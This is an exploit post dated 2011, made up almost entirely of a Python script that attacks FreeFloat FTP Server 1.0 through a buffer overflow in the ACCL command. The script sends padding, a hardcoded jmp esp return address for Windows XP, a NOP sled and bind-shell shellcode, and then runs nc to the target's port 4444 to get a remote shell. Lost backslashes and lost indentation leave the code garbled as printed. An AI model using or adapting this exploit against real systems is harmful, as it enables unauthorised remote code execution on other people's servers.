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FreeFloat FTP Server 1.0 ACCL Buffer Overflow

Posted on 20 July 2011

#!/usr/bin/python
#
#[+]Exploit Title: FreeFloat FTP Server ACCL Buffer Overflow Exploit
#[+]Date: 1962011
#[+]Author: mortis
#[+]Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
#[+]Version: 1.00
#[+]Tested On: Windows XP SP3 English
#[+]CVE: N/A
#

from socket import *
import sys, struct, os

def sploit(host, port):
#open listener shell on port 4444

sc = "xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17xe0x66"
sc += "x1cxc2x83xebxfcxe2xf4x1cx8ex4axc2xe0x66x4fx97xb6"
sc += "x31x97xaexc4x7ex97x87xdcxedx48xc7x98x67xf6x49xaa"
sc += "x7ex97x98xc0x67xf7x21xd2x2fx97xf6x6bx67xf2xf3x1f"
sc += "x9ax2dx02x4cx5exfcxb6xe7xa7xd3xcfxe1xa1xf7x30xdb"
sc += "x1ax38xd6x95x87x97x98xc4x67xf7xa4x6bx6ax57x49xba"
sc += "x7ax1dx29x6bx62x97xc3x08x8dx1exf3x20x39x42x9fxbb"
sc += "xa4x14xc2xbex0cx2cx9bx84xedx05x49xbbx6ax97x99xfc"
sc += "xedx07x49xbbx6ex4fxaax6ex28x12x2ex1fxb0x95x05x61"
sc += "x8ax1cxc3xe0x66x4bx94xb3xefxf9x2axc7x66x1cxc2x70"
sc += "x67x1cxc2x56x7fx04x25x44x7fx6cx2bx05x2fx9ax8bx44"
sc += "x7cx6cx05x44xcbx32x2bx39x6fxe9x6fx2bx8bxe0xf9xb7"
sc += "x35x2ex9dxd3x54x1cx99x6dx2dx3cx93x1fxb1x95x1dx69"
sc += "xa5x91xb7xf4x0cx1bx9bxb1x35xe3xf6x6fx99x49xc6xb9"
sc += "xefx18x4cx02x94x37xe5xb4x99x2bx3dxb5x56x2dx02xb0"
sc += "x36x4cx92xa0x36x5cx92x1fx33x30x4bx27x57xc7x91xb3"
sc += "x0ex1exc2xf1x3ax95x22x8ax76x4cx95x1fx33x38x91xb7"
sc += "x99x49xeaxb3x32x4bx3dxb5x46x95x05x88x25x51x86xe0"
sc += "xefxffx45x1ax57xdcx4fx9cx42xb0xa8xf5x3fxefx69x67"
sc += "x9cx9fx2exb4xa0x58xe6xf0x22x7ax05xa4x42x20xc3xe1"
sc += "xefx60xe6xa8xefx60xe6xacxefx60xe6xb0xebx58xe6xf0"
sc += "x32x4cx93xb1x37x5dx93xa9x37x4dx91xb1x99x69xc2x88"
sc += "x14xe2x71xf6x99x49xc6x1fxb6x95x24x1fx13x1cxaax4d"
sc += "xbfx19x0cx1fx33x18x4bx23x0cxe3x3dxd6x99xcfx3dx95"
sc += "x66x74x32x6ax62x43x3dxb5x62x2dx19xb3x99xccxc2"

padding = "A"*246
sled = "x90"*20
jmpesp = struct.pack('<L',0x7C874413) #jmp esp winxp3

sploit = padding + jmpesp + sled + sc
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("USER test
")
s.recv(1024)
s.send("PASS test
")
s.recv(1024)
s.send("ACCL "+sploit+"
")
s.close()

if __name__ == '__main__':
if (len(sys.argv) < 3):
print "
Usage: freefloat.py <host> <port> 
"
sys.exit()
else:
host = sys.argv[1]
port = sys.argv[2]
sploit(host, int(port))
os.system("nc " + host + " 4444")

 

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